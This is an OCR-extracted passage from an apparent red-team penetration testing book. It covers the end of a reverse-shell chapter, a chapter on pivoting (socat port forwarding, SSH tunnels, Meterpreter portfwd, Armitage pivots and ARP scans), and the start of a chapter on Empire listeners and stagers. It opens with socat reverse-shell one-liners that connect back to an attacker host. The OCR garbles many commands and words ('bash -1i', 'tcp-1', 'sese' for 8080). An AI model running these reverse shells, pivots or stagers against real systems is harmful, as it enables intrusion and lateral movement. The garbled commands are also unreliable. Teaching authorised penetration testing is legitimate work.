| socat udp-connect:192.168.2.6:8000 exec: 'bash -1i',pty,stderr,sane 2>&1>/dev/null &



<strong>socat exec:'bash -li',pty,stderr,setsid,sigint,sane openssl-
connect:192.168.2.6:8000,key=$HOME/cert.pem,verify=0</strong>

We hope you now understand the criticality of using a reverse_tcp payload
without any security. In the next chapter, you will be learning about Empire, the
tool that is juiced up with PowerShell modules to get you better access to your
target server.



Summary

At the beginning of this chapter, we explored what a reverse connection and
reverse shell connection is USiI'Ig tools such as netcat, ncat, openssl, socat, cryptcat,
and powercat. We then tried different payloads to get reverse shell connections
using MetaSPIOit—reverse_tcp, reverse_tcp_rc4, and reverse_nttps. We then saw the
enhanced version of reverse_https by using a custom SSL certificate with an
impersonation technique, a meterpreter hijacking case scenario, paranoid mode,
and by getting a meterpreter session over ngrok. Finally, we provided you with a
cheat sheet that you can refer to whenever you want a reverse shell.



Questions

NoUuhkwWN

Is it absolutely necessary to understand the concept of reverse shell
connections?

Is it required for us to get a reverse shell over an encrypted channel?

Are there any GUI tools that can be used to generate Metasploit payloads?
Can we get Cryptcat for Windows?

Can we use a different stage encoder other than shikata_ga_nai?

Can we use paranoid mode in our red-team operations?

Is ngrok free to use?



Further reading

For more information on the topics discussed in this chapter, please visit the
following
links:

Reverse connection: https://en.wikipedia.org/wiki/Reverse_connection

Reverse Shell cheat sheet: nttps://gtfobins.github.io/

InfoSec Resources: https://resources.infosecinstitute.com/icmp-reverse-shell/
The GNU Netcat: nttp://netcat.sourceforge.net/

Ncat Users' Guide: https://nmap.org/ncat/guide/

Powercat: https://github.com/besimorhino/powercat

CryptCat Pl"OjECtZ http://cryptcat.sourceforge.net/

socat: http://www.dest-unreach.org/socat/doc/socat.html

metasploit-framework: https://github.com/rapid7/metasploit-framework/wiki/How-
to-use-a-reverse-shell-in-Metasploit

PV[EtEI])FEtEIf https://blog.rapid7.com/2011/06/29/meterpreter-httphttps-communicati
on/

MEtEl‘pl‘EtEl‘ paranoid mOdEIhttps ://github.com/rapid7/metasploit-framework/wik
i/Meterpreter-Paranoid-Mode

Meterpreter over Ngl‘OkZ https://zircanavo-abyss.blogspot.com/2017/05/meterpret

er-over-ngrok.html


https://en.wikipedia.org/wiki/Reverse_connection
https://gtfobins.github.io/
https://resources.infosecinstitute.com/icmp-reverse-shell/
http://netcat.sourceforge.net/
https://nmap.org/ncat/guide/
https://github.com/besimorhino/powercat
http://cryptcat.sourceforge.net/
http://www.dest-unreach.org/socat/doc/socat.html
https://github.com/rapid7/metasploit-framework/wiki/How-to-use-a-reverse-shell-in-Metasploit
https://blog.rapid7.com/2011/06/29/meterpreter-httphttps-communication/
https://github.com/rapid7/metasploit-framework/wiki/Meterpreter-Paranoid-Mode
https://zircanavo-abyss.blogspot.com/2017/05/meterpreter-over-ngrok.html

Pivoting

Once we have gained access to a system using either a web application or
service exploitation, our next goal is to gain access to the internal network that
the system might be connected to. Before we explore the details of this, let's first
try to understand a bit about port forwarding. Port forwarding is a method which
is used to authorize an external device's access to an internal network.

This is most commonly used by gamers. For example, imagine you're playing
Counter Strike and you want to play with your friends by creating a game server.
However, those friends are not on the same network as you. To overcome this,
you port forward an external port of your public IP to your machine's local port
number:

- ik

o e =

Forwarding Port 27015

Local Machine 1 C5 Server
. / 192.168.1.105 Paort 27015
Incoming Requeasts '
21 -
- Forwarding Port 80 a
el -
Router ¢ \

ey =S
|l..| —

APaCH

Local Machine 2 Web Server
192.168.1.10 Part 80

Source: https://superuser.com/questions/284051/what-is-port-forwarding-and-what-is-it-used-for

The simplest method of port forwarding is through socat. Socat is a command
line-based utility that establishes two bidirectional byte streams and transfers
data between them. It is also sometimes referred to as netcat on steroids because
it has a lot of extra features which netcat lacks.



0 Socat can be downloaded from the following link: http://www.dest-unreach.org/socat/download/.

For example, if we want someone to connect to our SSH service running on port
22 from port sese, we can run the following command on our system:

| socat tcp-1:8080, fork, reuseaddr tcp:127.0.0.1:22

The preceding command listens for incoming TCP connections on port sese and
forwards them to local port 22, which is running the SSH service.

If we try to SSH onto port sese now, we will be able to connect and login:

MacBook-Alr:~ Himanshu%$ ssh root@.__. _ __ __
root@ 's password:

Last login: Thu Sep 13 21:81:88 2818 from
root@: "

Pivoting can be considered a set of techniques which use a currently exploited
system as a network hop in order to clear the path toward internally connected
machines. In simpler terms, we can use port forwarding to pivot inside the
internal network of a compromised host machine.

Let's look at different ways to pivot inside a network.
In this chapter, we will cover the following topics:
Pivoting via SSH

Meterpreter port forwarding

Pivoting via Armitage
Multi-level pivoting


http://www.dest-unreach.org/socat/download/

Technical requirements

e Metasploit Framework (MSF)
PGSQL (Postgres)

Oracle Java 1.7 or latest
Armitage

Cobalt Strike



Pivoting via SSH

This technique can be used to access the local ports on a machine which are not
accessible from outside. Also known as SSH port forwarding or SSH tunneling,
this technique allows us to establish an SSH session and then tunnel TCP
connections through it.

Let's take a look at an example scenario in which we have SSH access to a Linux
system. This system has a VNC service running on the machine locally, but is
not visible or accessible from outside the network/system. By performing netstat
on the machine, we can see that the machine has a VNC service running on port
5901.

cha

Active Internet connections (including servers)

MC Wi
i nH

ME_WAIT




However, by running an nmap scan from outside, we can see that the port is not
open:

mudit@mudit-VirtualBox:

Start i_!'|-'; [-,'!'FI}': 7.6l

Nmap scan repo

STATE  SERVICE

..- R — L
D5ed Vnc-1

1 IP address (1 host up) scanned in 8.73 seco

This is where SSH pivoting comes into use. We can use the following command
on our system to forward the port of the remote system onto our system using
the SSH tunnel: ssh -L <local port >:<local IP>:<remote port>
user@remotehost



# ssh -L 5001:127.0.0
=1 e LN

| as :: Tue Sep 11 LE:L?:‘.
FreeBSD 11.1-RELEASE (GENERIC) 4

Welcome to FreeBSD!

Release Notes, Errata:

tinfo/freebsd-questions/

I

nllhd '1 th the system are in the /usr/local/share/doc/freebsd/
e installed later with: pkg install en-freeb
For other languages, replace "en" with a language code like de or fr.

Show the version of FreeBSD installed: freebsd-version : uname -a
' 1|nl|dh ha: tput and any error messages when posting questions.

man mar

FreeBSD d1|hn tory layout: man hier

Edit /etc/motd hange this login announcement.
You can L = 38 log you off automatically
if you 1hn re the shell idle for more than 30 minutes.

|r| & :'_' I

As we can see from the preceding screenshot, the command completed
successfully. We can now run another nmap scan on our local machine to see that
the port is now open:



root@mudit-VirtualBox:~# nmap localhost -p &

Starting Nmap 7.60 ( https://nmap.org ) at 201
Nmap scan report for lo calhost (127.0.0.1)

'|'|'|

Host is up (0.0000833s latency).

PORT STATE SERVICE
5901/tcp open wnc-1

Nmap done: 1 IP address (1 host Lj} scanned in ©.31 seconds
root@mudit-virtualBox:-# []

Since port s901 is used for VNC, we can now connect to our local port s9e1 using
any VINC client, as shown in the following screenshot:

o

root@mudit-Virtue .__. # yncviewer 127.0.0,1:5901

TigerVNC Viewer 64-bit v1.7.0

Il].].: on. 2'_-__. _3 |_._| |_.|;|.E:|

Ecpyrigh' f[' 1999-2016 TigerVNC Team and many others (see README.txt}
' /www.tigervnc.org for information on TigerWVNC.

'.I? '.II:| '.I| E
eManager: Detected 1 CPU core(s)
Deccde ﬁﬂﬁg-l- -tCDdlﬂ“ ata on main thread
CConn: connectet ost 127.0.0.1 port 5901
CConnection: Server |ppﬂ|:3 RFB protocol version 3.8
CConnection: Using RFB protocol version 3.8
CConnection: Choosing security type VncAuth(2}

e Sep 11 L':EE:iT 2018

X11PixelBuffer: Using default colormap and visual, TrueColor, J;p:h 24,
CConn: Using pixel format depth 24 (32bpp) little-endian rgbB88
CConn: Using Tight encoding




Furthermore, we will have a new window open with the VINC connection, as
follows:

X I

E| # Deszktop

o I + id
uid=0{root) gid=0{wheel) groups=0fwheel),.5operataor)
roE # whoami -

root -

rO—— + []

VNC is just one example of how we can pivot using SSH. This can also be used
for any other service running on any port inside the network. The command will
then become the following: ssh -L. <a>:<b>:<c> user@<d>

Wherein:

® ais the local port to which we want the port to be forwarded on our
machine

® 1 is the IP address of the machine inside the network

e ¢ is the port number of machine », which we want to access

e 4 is the IP of the machine inside the network to which we already have SSH
access

Pivoting via SSH only works if we have an SSH connection to a host in the
network. However, what if the OS that's installed is Windows? How do we do
perform an SSH port forward in that case?

The answer to this is through PuTTY Link (Plink). Plink is a command-line
connection tool similar to UNIX SSH. We can upload the p1ink.exe file onto a
Windows machine and use the same command that we used previously to
perform SSH port forwarding: plink -R <localport>:<local IP>:<Remote IP>



user@<remote host>

Plink can be downloaded from the fOHOWiI’lg URL: https://www.chiark.greenend.org.
uk/~sgtatham/putty/latest.html.

For more information on SSH, visit the following links:

® https://unix.stackexchange.com/questions/115897/whats-ssh-port-forwarding-and-whats-

the-difference-between-ssh-local-and-remot

® nhttp://the.earth.li/~sgtatham/putty/0.52/htmldoc/Chapter7.html


https://www.chiark.greenend.org.uk/~sgtatham/putty/latest.html
https://unix.stackexchange.com/questions/115897/whats-ssh-port-forwarding-and-whats-the-difference-between-ssh-local-and-remot
http://the.earth.li/~sgtatham/putty/0.52/htmldoc/Chapter7.html

Meterpreter port forwarding

Meterpreter also has a built-in feature which allows direct access to the
systems/services inside the network which are otherwise unreachable. The main
difference between this and SSH tunneling is that SSH tunneling uses RSA
encryption, whereas Meterpreter port forwarding happens over TLS.

Let's look at an example of port forwarding using Meterpreter. The command
used for port forwarding using Meterpreter is portfwd. To view the options of the
command, you can type portfwd --help into Meterpreter:

meterpreter > portfud —help
Usage: portfwd [-h] [add | delete | list | flush] [args]

OPTIONS:

Forward: local host to listen on (optional). Reverse: local host to connect to.
Indicates a reverse port forward.

Help banner.

Index of the port forward entry to interact with (see the "list" command).
Forward: local port to listen on. Reverse: local port to connect to.

Forward: remote port to connect to. Reverse: remote port to Listen on.

Forward: remote host to connect to.

In this example, we have access to a host, as shown in the following screenshot:



192158 054
NT AUTHORLTY\SYSTEM @

We can now access the Meterpreter shell by right-clicking on the host via
Meterpreter | Interact | Meterpreter Shell, as shown in the following screenshot:

192.168.0.54

g

= 192.168.00T T H >
192.168.( :

Services
W 1921680 ., SRR & Command Shel
B 192.168.0 E.""p“f'r& & Meterpreter Shell
B 192,168, Host > | Bivoting * | Desktop (VNO)

ARP 5can...

X [Scan X [San X [Jobs X | Pro| y; s X |

In our example, we have a system with IP 192.168.0.5 running on port 443, which
we want to access from outside:

[Event Log XTMeterpreter 10 XTCﬂnsnie XISEwi[es ﬂ

host ' name port 4| proto ' info

192.168.0.5 ssh 22 tp 35H-2.0-0Opens5H_4.3
192.168.0.5 https 443 tp




We run the port forward by using the following command:

| portfwd add -1 <local port> -p <remote port> -r < remote host>

meterpreter > portfwd ada -L 8888 -p 443 -r 192.168.8.5

Local TCP relay created: :8888 <-> 192.168.0.5:443

Now, we can visit port sss on our localhost, where we will be able to see the
application, as shown in the following screenshot. In our case, an NAS storage
was running on the internal server on port 443, so we could see its login port, like
sO:

U6000Q-909780

e 1T RREC
®Qsan ==

For more information on this, visit the following link: https://ww.offensive-securit
y.com/metasploit-unleashed/portfwd/.


https://www.offensive-security.com/metasploit-unleashed/portfwd/

Pivoting via Armitage

So far, we have seen methods for pivoting in scenarios in which the machines
are in the same subnet and are reachable. However, during a RedTeam activity,
we may come across a network which has different subnets that we know exist
but are not reachable by the system we have a Meterpreter shell on. In this
section, we will look at an example of how to pivot to those networks.

The Windows system has a command-line tool that makes it possible to view the
routing table. This tool is called route. The routing table consists of destinations,
routes, and next hops. These entries define a route to a destination network.

To view a routing table of the system, we have to do the following:

1. Right-click on the host and go to Meterpreter | Interact | Command Shell, as
shown in the following screenshot:

Login
Meterpreter 1
Meterpreter 5
Meterpreter &

-
Services Ee e . Command Shell
= Meterpreter Shell
AEaN Pivatin [
o 4 Desktop (VNC)
Host > | ARP Scan...

Kill

This will open a CMD of our host. We will then run the route print
command, which will show something like the following screenshot:



IPv4 Route Table

Active Routes:
Network Destination Netmask Gateway Interface Metric
0.0.0.0 0.0.0.0 192.168.0.8 192.168.06.54 281
127.0.0.8 255.0.0.0 On-11nk 127.0.0.1 331
127.0.8.1 255.255.255.255 On-1link 127.0.0.1 33l
127.255.255.255 255.255.255.255 On-link 127.0.0.1 331
192.168.0.0  255.255.248.0 On-link 192.168.0.54 281
192.168.0.54 255.255.255.255 On-link 192.168.0.54 281
192.168.7.255 255.255.255.255 On-link 192.168.0.54 281
224.0.0.0 240.0.0.0 On-link 127.0.0.1 331
224.0.0.0 240.0.9.0 On-1l1ink 192.168.08.54 281
255.255.255.255 255.255.255.255 On-11nk 127.0.0.1 331
255.255.255.255 255.255.255.255 On-1link 192.168.08.54 281

Persistent Routes:
Network Address Netmask Gateway Address Metric
0.0.0.0 0.0.0.0 192.168.0.8 Default

The preceding screenshot shows the active routes. Now we know that
there is a subnet called 172.19.4.0/24 that exists, and we want to reach that.

To see a list of the current hosts that are reachable in the network, we can
do an ARP scan after setting up the pivot.

2. To set up the pivot, we can right-click on the host and go to Meterpreter |
Pivoting | Setup, as shown in the following screenshot:



Zs 192.168.0.54

Login 3
Meterpreter 8 >
Meterpreter 10 Ml Access >
Services Interact >
Scan | Explore >
Host L Pivoting >
. ARP 5can...
Kill

A new window will then open. From here, we can choose the subnet:

@ Add Pivot
host | mask

192.168.0.0 25%5.255.248.0

| Add Pivot |

3. Once the pivot is set up, we can now proceed to discover the hosts that are
live on this network by right-clicking on the host.
4. Choose the Meterpreter session we have, and then select ARP Scan:

T VT 14.143.37.

Login g 192.168.0.

Meterpreter 1 > 192.168.0.

Meterpreter 5 Ml Access >

Meterpreter 6 LS e >

Services Explore >
| Ean | Pivoting >

Host L ARP Scan...

Kill

192.168.0.



A new window will open which shows us the subnets that are currently
accessible. Here, we can see the subnets that we also saw in the routing
table in the preceding screenshot:

& @ ARP Scan

host mask

192.168.0.0 255.255.248.0
| ARP 3can |

5. Now we will click on ARP Scan, which actually runs a post exploitation
module (windows/gather/arp_scanner). From here, we can see that new hosts
have been found, as well as added to the target window of our Armitage
instance:

msf post( ) > run -]

[] Post module running as background job 48.

[*] Running module against SE

[*] ARP Scanning 192.168.0.0/21

[+] IP: 192.168.0.5 MAC @ :e3 (Check Point Software Technologies)
[+] IP: 192.168.0.13 MAC 7:¢0 (UNKNOWN)

[+] IP: 192.168.0.15 MAC 9:cO (UNKNOWN)

[+] IP: 192.168.0.7 MAC | .ef (Check Point Software Technologies)
[+] IP: 192.168.0.11 MAC a:cO (UNKNOWN)

[+] IP: 192.168.0.6 MAC | 1:81 (Check Point Software Technologies)
[+] IP: 192.168.0.10 MAC 4:40 (UNKNOWN)

[+] IP: 192,168.0.12 MAC e:cO (UNKNOWN)

[+] IP: 192.168.0.8 MAC | :81 (Check Point Software Technologies)
[+] IP: 192,168.0.14 MAC h:40 (UNKNOWN)

[+] IP: 192,168.0.68 MAC 6:68 (UNKNOWN)

[+] IP: 192,168.0.65 MAC 1:d8 (UNKNOWN)

However, we still can't see any of the machines from our target subnet
172.19.4.0/24. This is because there was no route defined in the routing table of



our current machine that we have a Meterpreter shell on. Now let's learn how to
manually add a route.

We can interact with the command shell as follows:

Login e
Meterpreter 1 =

Meterpreter 5
Meterpreter b

i Interact > Command Shell
il Explore >
ks Meterpreter Shell
>can Pivotin -
- g Desktop (VNC)
Host > | ARP Scan...

Kill

Once the command shell is open, we can use the following command to
manually add a route into the system:

route add <subnet we want to reach> MASK <subnet mask> <gateway IP>

C:\Windows\system32> route add 172.19.4.0 MASK 255.255.255.0 192.168.0.8 OK!

The route has now been added. We will now set up the pivot in our Armitage
instance by right-clicking on the host and going to Meterpreter | Pivoting | Setup,
as shown in the following screenshot:

192.168.0.5 SERV-IT-... 14.143.37.229

Login >

192.168.0.5 192.168.0.54
192.168.0. 00 IRIEIEE 1 192.168.0.54
192.168.0. TGl G Access > )2.168.0.54

Meterpreter &

192.168.0. _ Interact > )2.168.0.54
192.168.0.6 Services Explore » )2.168.0.54
192.168.0.1 3can >

134.168.0.2 Host > | ARP Scan...

Sl 16 15

Kill —

In the new window which opens, we will see that a new subnet is in the table.



We choose our desired subnet and click Add Pivot, as follows:

O @ Add Pivot

host mask

172.19.4.0 255.255.255.0

192.168.0.0 255.255.248.0
| Add Pivot |

Once the pivot has been added, we can now perform the ARP scan using the
steps we mentioned previously. We will now see that we are able to reach the
hosts inside that subnet:
msf post( ) > run -]
[#] Post module running as background job 12.
[#] Running module against SERV-IT-SHPPHIR

[#] ARP Scanning 172.19.4.0/24
[+] IP: 172.19.4.3 MAC s vwna Blief
[+] IP: 172.19.4.2 MAC 69:81




Multi-level pivoting

In a RedTeam activity, we may often find more networks which are further
accessible from one of the internal systems. In our case, this was the 172.19.4.0/24
network. Multi-level pivoting occurs when we achieve further access into a
different subnet. Let's look at an example of this:



Welcome to Creately

Let's start drawing Network Diagrams

i, Attacker
A Acess
Paint
192.168.05

=1
192.168.0.6
192.166.0.10
There's more. So start exploring. create

www.creately.com « Online Diagramming



In the preceding diagram, the attacker exploits the network and sets up a pivot
on 192.168.0.10 to gain further visibility into the internal network. Upon doing
more recon, the attacker comes across a system that has two NICs:



) | )

ﬂ/

i3 b
A
=
192.168.0.11
1724111 i
] | |
Aotkss Atacker
Faint

=T
192.168.0.6
192166010
creately
testStart typing...

www.creately.com « Online Diagramming



Once the attacker gains access to 192.168.0.11, they can then add a pivot again
which will allow them access to 172.4.19.0 subnet. This is known as multi-level
pivoting. The following diagram explains this:



) | ©)

i = ==
192.168.0.11 ) ([ I T]
1724111 B e
o
Acoess Attacker
Pdint
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192.168.0.6
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As explained previously, we found a system in the 172.4.19.0 system which has
another IP assigned to it. We exploited that system and added a pivot, as shown
in the following screenshot:

Connection-specific DNS Suffix . :

IPv4 Address : 172.17.10.240
Subnet Mask : 255.255.0.0
Default Gateway : 172.16.1.1

Tunnel adapter isatap.{80743CD1-2C02-476D-B9A8-1B77D46A61C1}:

Media State : Media disconnected
Connectlon-specific DNS Suffix

Tunnel adapter isatap.{30ACOE58-FDF0-4D4C-9B40-DEFB62DBABF6} :

Media State : Media disconnected
Connectlon-specific DNS Suffix

Tunnel adapter Teredo Tunneling Pseudo-Interface:

Media State : Media disconnected
Connection-specific DNS Suffix

C:\Windows\system32>

Following the same steps as we did for the Meterpreter shell, on this system, we
add our pivot:

0] & Add Pivot

host mask

172.17.0.0 255.255.0.0

|_ Add Pivot |



When performing the ARP Scan, we can see that we were able to reach the
systems in this network too:

: 172.17.0.42
: 172.17.8.31
172.17.0.26
172.17.0.40
: 172.17.8.386
172.17.08.35
172.17.0.44
: 172.17.98.41
: 172.17.90.34
: 172.17.0.45
172.17.8.43
172.17.8.33
: 172.17.0.32
172.17.8.47
172.17.0.46
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Summary

At the beginning of this chapter, we learned about port forwarding and its uses.
We also learned about pivoting and its uses, followed by methods of port
forwarding via SSH. Then we learned about Meterpreter pivoting via Armitage,
as well as the concept of multi-level pivoting.

There are multiple ways to pivot. In further chapters, we will discuss pivoting
via both Empire and Cobalt Strike. If you do not recognize these terms right
now, there's no need to worry. We will cover everything in detail soon.



Further reading

For more information on the topics discussed in this chapter, please visit the
following links:

® https://artkond.com/2017/03/23/pivoting-guide/
® https://highon.coffee/blog/ssh-meterpreter-pivoting-techniques/


https://artkond.com/2017/03/23/pivoting-guide/
https://highon.coffee/blog/ssh-meterpreter-pivoting-techniques/

Age of Empire - The Beginning

In this chapter, we will cover Empire, which is an extremely powerful post
exploitation framework. The chapter will begin with a basic introduction to
Empire, including installation and configuration. From there we will move on
with using Empire for post exploitation effectively.

In this chapter, we will cover the following topics:

Introduction to Empire

Empire setup and installation

Empire fundamentals

Empire post exploitation for Windows/Linux/OSX
Popping up a Meterpreter session using Empire
Slack notification for Empire agents



Technical requirements

The technical requirements are as follows:

e Empire
e Slack

Empire is a great tool to use in Red Team operations. Many Red Teamers opt for
this tool due to its flexible architecture and its power over PowerShell. Empire
can be very confusing for many pen testers, but once mastered, it can be a great
asset when performing red team engagement.



Introduction to Empire

ACCOFdng to the PowerShell Empire website (http://www.powershellempire.com/)Z
"Empire is a pure PowerShell post-exploitation agent built on cryptologically-
secure communications and a flexible architecture. Empire implements the
ability to run PowerShell agents without needing powershell.exe, rapidly
deployable post-exploitation modules ranging from key loggers to Mimikatz,
and adaptable communications to evade network detection, all wrapped up in a
usability-focused framework."

It premiered at BSidesLV in 2015.


http://www.powershellempire.com/

Empire setup and installation

The Empire tool is open source and has a Git repository. We can clone the Git
repository from GitHub by executing the following command: git clone
https://github.com/EmpireProject/Empire

| JON ) Harry — harry@Fuzzer05:
. $ git clone https://github.com/EmpireProject/Empire
(loning into 'Empire’...
remote: Counting objects: 11988, done.
remote: Compressing objects: 100% (72/72), done.
remote: Total 11988 (delta 42), reused 34 (delta 17), pack-reused 11899

Receiving objects: 100% (11988/11988), 20.63 MiB | 2.48 MiB/s, done.
Resolving deltas: 100% (8133/8133), done.
Checking connectivity... done.

p $

The following files reside in the empire directory:



® @ Harry — harry@Fuzzer

% 1s -1h

total 126K
MW= PW= - -
MW= PW= - -
W= PW= - —
MW= PW= - -
MW= PW= - -
d P Mg r - X
— MWK WX - X
dmanerwr- X
drmanerawr-x
d s rwxr- x

harry harry 1.9K Aug 27 22:11 Dockerfile
harry harry 1.6K Aug 27 22:11 LICENSE
harry harry 4.0K Aug 27 22:11 README.md
harry harry 6 Aug 27 22:11 VERSION
harry harry 25K Aug 27 22:11 changelog
harry harry 4.0K Aug 27 22:11

harry harry 60K Aug 27 22:11

harry harry 4.0K Aug 27 22:11

harry harry 4.0K Aug 27 22:11

harry harry 4.0K Aug 27 22:11

] $

NS S RN R e N e

The Empire Framework is written in Python, so we first need to install the
Python dependencies. Empire already has an installation script, which can be
viewed in the setup directory (~/empire/setup/). The installation file is a simple
Bash script which we can execute by using the following command: ./install.sh

00 Harry — harry@Fuzzer0S: ~/Empire/set
$ 1s -1h

total 28K

-rwxrwxr-x 1 harry harry 694 Aug 27 22:11

-rwxrwxr-x 1 harry harry 6.8K Aug 27 22:11

-rw-rw-r-- 1 harry harry 203 Aug 27 22:11 requirements.txt

-rwxrwxr-x 1 harry harry 632 Aug 27 22:11

-rw-rw-r-- 1 harry harry 5.1K Aug 27 22:11 setup_database.py
: $ ./install.sh

This script will check and install all the packages and dependencies required by
the Empire framework. Once the installation is complete, you'll see a setup
complete! message as shown in the following screenshot:



[=] Enter server negotiation password, enter for random generation:

[*] Database setup completed!

[*] Certificate written to ../data/empire-chain.pem
[*] Private key written to ../data/empire-priv.key

[*] Setup complete!

We need root privileges to run Empire so that it can start the listeners on system
ports as well. Execute the following command to run Empire with root privilege:
sudo ./empire

The Empire framework will now load:

® [ ] Harry — harry@
$ sudo ./empire

To get into using Empire, let's first understand the fundamentals of this.



Empire fundamentals

Empire is a Python-based framework which is known for its post exploitation
module and flexible architecture. The whole process of using the Empire
Framework can be defined in five phases, which are demonstrated as follows:

Listener Initiation Stager Stager Aquiring Post Module

Creation Execution Agent Operation

The five phases are explained as follows:

Phase 1: Listener Initiation
Phase 2: Stager Creation

Phase 3: Stager Execution

Phase 4: Acquiring Agent

Phase 5: Post Module Operations

To start with Empire, try executing the ne1p command or inputting » for further
options:




Jump to the Agents menu,
Add/display credentials to/from the database.
Exit Empire
Displays the help menu,
Interact Interact with a particular agent.
l1st Lists active agents or Listeners,
[1steners Interact with active listeners,
load Loads Empire modules from a non-standard folder,
plugin Load a plugin file to extend Empire,
plugins List all avatlable and active plugins.
preobfuscate  Preobfuscate PowerShell module_source files
reload Reload one (or all) Empire modules.
report Produce report (SV and log files: sessions.csv, credentials.csv, moster. log
reset Reset a global option (e.g. IP whitelists).
resource Read and execute a list of Ewptre comnands from a file,
seqrchmodule —— Search Emptre module names/descriptions.
et Set a global option (e.g. IP vhitelists).
show Show a global option (e.g. IP whitelists).
usemodule Use an Empire module,
Usestager Use an Empire stager.

(Empire) »




Phase 1 — Listener Initiation

The first phase of Empire post exploitation is Listener Initiation. When using
Empire, it is required to first configure a listener which would listen for
incoming connections. A listener in Empire is just like a handler in Metasploit.
To view a list of all active listeners, execute the following command: listeners

The output of running the preceding command is as follows:

® 0 ®
(Empire) = listeners

(Empire:

If there's no listener running in Empire, you'll get a no 1listeners currently active
message. We can execute the ne1lp command or the » for options allowed in the
listeners module:



(Empire;
Listener Commands

agents Jump to the agents menu,

back G0 back to the main menu,

creds Display/return credentials from the database,

delete Delete listener(s) from the dtabose

disible Disables {stops) one or all Tisteners. The Listener(s) will not start qutomatically with Empire
edit (hange o listener option, will not take effect until the listener is restarted
enable Enables and starts one or all listners.

ext Exit Empire,

help Displays the help menu.

info Display information for the given active listener,

kill Kill one or all active listeners.

launcher Genergte an tnitial launcher for  listener,

ist List all active listeners (or agents).

Listeners Junp to the Tisteners neny.

i G0 back to the main menu,

resource Read and execute g list of Eapire comands from a file.

uselistener ~ Use an Epire listener module.

Usestager Use an Empire stager,

(Empire;

We don't have an active listener for now, but we can create one. To do this, we

can use the uselistener command and give the type of listener as the argument:
906

(Empire: ) > uselistener
dbx http http_com http_foreign http_hop http_mapi meterpreter  onedrive redirector

Harry — harry@Fuzzer0OS: ~fEmpire — ssh harry@192.168.2.24 — 143x37

(Empire: ) = uselistener

For now, let's choose HTTP listener. We need to execute the following
commands to configure the HTTP listener:

uselistener http
info



06
(Empire:
(Empire:

Name: HTTP[S]

Category: client_server

Authors:
@harmjdy

Description:

Harry — harry@FuzzerOS: ~/Empire — ssh harry@192.168.2.24 — 143x37

) = uselistener http
) = info

Starts a http[s] listener (PowerShell or Python) that uses a

GET/POST approach.

HTTP[S] Options:

Name
SlackToken
ProxyCreds
ne, or other).
KillDate
Name
Launcher
DefaultDelay

DefaultLostLimit

WorkingHours
SlackChannel
DefaultProfile

Host

CertPath
Defaultlitter
Proxy
UserAgent
StagingKey

Required
False
False

False
True
True
True
True
False
False
True

True
False
True
False
False
True

value

Description

Your SlackBot APT token to communicate with your Slack instance.
default Proxy credentials ([domain“]username:password) to use for request (default, no
Date for the listener to exit (MM/dd/yyyy).

http Mame for the listener.

powershell -noP -sta -w 1 -enc  Launcher string.

5 Agent delay/reach back interval (in seconds).

60 Number of missed checkins before exiting

Hours for the agent to operate (09:00-17:00).

The Slack channel or DM that notifications will be sent to.

#general
/admin/get.php, /news.php,/login/ Default communication profile for the agent.

process.phplMozilla/5.@ (Windows
NT 6.1; WOW64; Trident/7.0;

Hostname/IP for staging.

Certificate path for https listeners.

Jitter in agent reachback interval (0.0-1.0).
default Proxy to use for request (default, none, or other).
default User-agent string to use for the staging request (default, none, or other).
P<+19; x]/ 1XN:#=0~31 cqZ>2u?D. *A6z Staging key for initial agent negotiation.

As you may have noticed, the prompt changed from Purple to Red, which
means we can now configure the listener. By default, the HTTP listener will set
the HOST and PORT automatically, but we can change it using the set command.
To see all the available options, execute the he1p command or the -:

| NN
(Empire:

Listen

agents
back
creds
execute
exit
help
info
launcher
listeners
main
resource
set
unset

(Empire:

r Commands

Harry — harry@FuzzerOS: ~/Empire — ssh harry@192.168.2.24

Jump to the agents menu.

Go back a menu.

Display/return credentials from the database.
Execute the given listener module.

Exit Empire.

Displays the help menu.

Display listener module options.

Generate an initial launcher for this listener.
Jump to the listeners menu.

Go back to the main menu.

Read and execute a list of Empire commands from a file.
Set a listener option.

Unset a listener option.




Now that everything is in place, let's use the execute command to start the HTTP
listener:

@® @ Harry — harry@Fuzzer0OS: ~/Empire — ssh harry@192.168.2
~ — harry@FuzzerQS: ~/Empire — ssh harry@182.168.2.24
(Empire: 3} = execute

* Serving Flask app "http" (lazy loading)
* Environment: production

* Debug mode: off

(Empire:

We're still using the HTTP listener menu (empire: listeners/http) SO we need to get
back to just the listener menu (empire: 1isteners), which can be done using the back
command. To list the active listeners, we can also use the 1ist command in the

Listeners menu:

[ NON ] Harry — harry@Fuzzer0S: ~/Empire — ssh harry@192.168.2.24 — 143x35
~ — harry@Fuzzer0S: ~/Empire — ssh harry@192.168.2.24 ~ — harry@FuzzerDS:

(Empire: 3} = back

(Empire: ) = list

Name Module Host Delay/Jitter KillDate

http t http://192.168.2.24:80

(Empire:

Our HTTP listener has started now, so we can just open the URL given in the
preceding screenshot for verification:



000 /nusy x \§ e

- C | @ Not Secure | 192.168.2.24 | i 0@ ? B

Velkommen VELKOMEN
Benvenuto gk l_q_]
Welkom .

internet information services
Valkommen
t—l&h}ﬂ

Hos Geldiniz ﬁcgﬁ;_jq

If anyone tries to open the Empire listener URL, they'll be shown the default IIS
page. At the same time, we will get a notification in Empire about the web
request with the client IP. In this case, 192.168.2.6 tried to access the Empire
listener:

(Empire:

We can now move on to the next phase.



Phase 2 — Stager Creation

Once the listener is ready, we can now create a one-liner stager that will connect
back to the listener when executed. This phase will focus on the stagers that can
be used depending upon the situation. Please refer to the table at the end of this
chapter to choose the stager that works best for you.You can execute the usestager
command to create a stager. The argument passed to the command is the type of
stager that you want to create:

[ ] [ ] Harry — harry@Fuzzer0S: ~/Empire — ssh harry@192.168.2.24 — 143x35
~ — harry@Fuzzer0S: ~/Empire — ssh harry@182.168.2.24 ~ — harry@Fuzzer0S: ~ — ssh harry@192.168.2.24
(Empire) = usestager
multi/bash osx/ducky osx/safari_launcher windows/hta windows/macroless_msword
multis/launcher osx/dylib osx/teensy windows/ launcher_bat windows lcode
osx/jar windows/backdoorLnkMacro windows/ launcher_lnk windows/teensy
yinstaller osx/ launcher i i launcher_sct
ar osx/macho i "p_exe i launcher_vbs
applescript osx/macro i windows/ launcher_xml
osx/application 0sx/pkg windows/macro
(Empire) = usestager

We can start with the default PowerShell launcher for now. The multi/launcher
module in Empire can be used to generate stagers for which are supported in
multiple OS. By default, the launcher generates PowerShell stager but we can
change the stager to use Python instead of PowerShell. This can be done by
setting the Language option in multi/launcher module. For now let's execute the
following command to select the PowerShell launcher:

| usestager multi/launcher

® -8 Harry

~ — harry@Fuzzer05; ~/Empire — ssh harry@182.168.2.24
